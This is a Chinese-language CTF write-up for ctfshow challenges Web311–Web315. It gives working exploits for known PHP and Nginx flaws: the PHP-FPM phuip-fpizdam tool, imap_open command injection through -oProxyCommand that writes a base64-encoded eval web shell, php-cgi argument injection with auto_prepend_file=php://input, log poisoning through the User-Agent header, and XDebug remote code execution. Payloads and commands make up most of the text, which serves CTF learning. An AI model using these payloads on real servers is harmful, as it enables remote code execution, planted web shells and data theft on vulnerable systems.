Web311
影响版本
PHP 5.6-7.x
Nginx>=0.7.31
nginx配置了fastcgi_split_path_info
漏洞利用
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
执行命令换代理:go env -w GOPROXY=https://goproxy.cn
执行go get -v && go build
go run . "http://xxx.xxx.xxx.xxx/index.php"
/index.php?a=tac fl0gHe1e.txt
Web312
PHP:5.6.38
系统:Debian/ubuntu
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
漏洞利用
先对 shell base64 编码
<?php @eval($_POST[succ3]);?>
=> PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=。
再对 echo "PD9waHAgQGV2YWwoJF9QT1NUW3N1Y2MzXSk7Pz4=" | base64 -d > /var/www/html/shell.php
进行一次base64编码,ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA==,若有 =或者+ 需 url 编码一次。
最后将 hostname 的内容替换为 x+-oProxyCommand%3decho%09编码后的命令|base64%09-d|sh},也就是:
Payload:
x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzNOMVkyTXpYU2s3UHo0PSIgfCBiYXNlNjQgLWQgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocA%3D%3D|base64%09-d|sh}
succ3=system('tac ctfshowfl4g');
web313
影响版本 php < 5.3.12 or php < 5.4.2
用户请求的querystring被作为了php-cgi的参数。
访问http://your-ip:8080/index.php?-s即爆出源码,说明漏洞存在。
Payload:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("cat /somewhere/fla9.txt"); ?>
Web314
利用 User-Agent 把shell写入日志,然后再包含日志就可以了,又因为使用的是 Nginx 服务器,所以默认日志位置为 /var/log/nginx/access.log。
User-Agent: <?php system('cat /fl6g');?>
GET /?f=/var/log/nginx/access.log HTTP/1.1
Web315
利用前提
目标开启了远程调试模式,并设置remote_connect_back = 1:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
在上面的配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
指定目标web地址、待执行的php代码即可:
# 要求用python3并安装requests库
python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
环境损坏